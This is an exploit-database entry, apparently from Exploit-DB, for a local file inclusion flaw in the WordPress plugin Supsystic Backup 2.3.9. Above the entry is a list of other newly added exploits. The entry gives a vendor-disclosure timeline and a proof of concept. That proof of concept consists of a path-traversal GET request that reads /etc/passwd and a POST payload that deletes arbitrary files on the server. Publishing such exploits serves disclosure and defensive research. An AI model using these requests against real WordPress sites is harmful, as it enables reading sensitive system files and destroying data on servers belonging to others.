84533192ae
19 changes to exploits/shellcodes SmartFoxServer 2X 2.17.0 - God Mode Console Remote Code Execution SmartFoxServer 2X 2.17.0 - Credentials Disclosure Millewin 13.39.146.1 - Local Privilege Escalation AMD Fuel Service - 'Fuel.service' Unquote Service Path Microsoft Internet Explorer 11 32-bit - Use-After-Free SmartFoxServer 2X 2.17.0 - God Mode Console WebSocket XSS Jenzabar 9.2.2 - 'query' Reflected XSS. WordPress Plugin Welcart e-Commerce 2.0.0 - 'search[order_column][0]' SQL injection WordPress Plugin Supsystic Ultimate Maps 1.1.12 - 'sidx' SQL injection WordPress Plugin Supsystic Pricing Table 1.8.7 - Multiple Vulnerabilities YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery Alt-N MDaemon webmail 20.0.0 - 'Contact name' Stored Cross Site Scripting (XSS) Alt-N MDaemon webmail 20.0.0 - 'file name' Stored Cross Site Scripting (XSS) WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection WordPress Plugin Supsystic Membership 1.4.7 - 'sidx' SQL injection WordPress Plugin Supsystic Digital Publications 1.6.9 - Multiple Vulnerabilities WordPress Plugin Supsystic Data Tables Generator 1.9.96 - Multiple Vulnerabilities WordPress Plugin Supsystic Contact Form 1.7.5 - Multiple Vulnerabilities WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
35 lines
No EOL
1.3 KiB
Text
35 lines
No EOL
1.3 KiB
Text
# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion
|
|
# Date: 24/07/2020
|
|
# Exploit Author: Erik David Martin
|
|
# Vendor Homepage: https://supsystic.com/
|
|
# Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip
|
|
# Version: 2.3.9
|
|
# Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2
|
|
|
|
|
|
# 25/07 2020: Vendor notified
|
|
# 27/07 2020: Vendor requested detailed information
|
|
# 27/07 2020: Information provided
|
|
# 07/08 2020: Nudged vendor. No reply
|
|
# 22/08 2020: Nudged vendor. No reply
|
|
# 04/10 2020: Nudged vendor. No reply.
|
|
# 29/11 2020: WordPress Plugin Security team contacted
|
|
# 01/12 2020: Plugin/Project closed by WordPress Security team
|
|
|
|
|
|
# 1. Description
|
|
|
|
Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI).
|
|
|
|
|
|
# 2. Proof of Concept (PoC)
|
|
|
|
Create a backup. When downloading the backup, change its path:
|
|
|
|
GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd
|
|
|
|
|
|
The "Delete" tab also allows an attacker to delete files on the server:
|
|
|
|
POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog
|
|
Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup |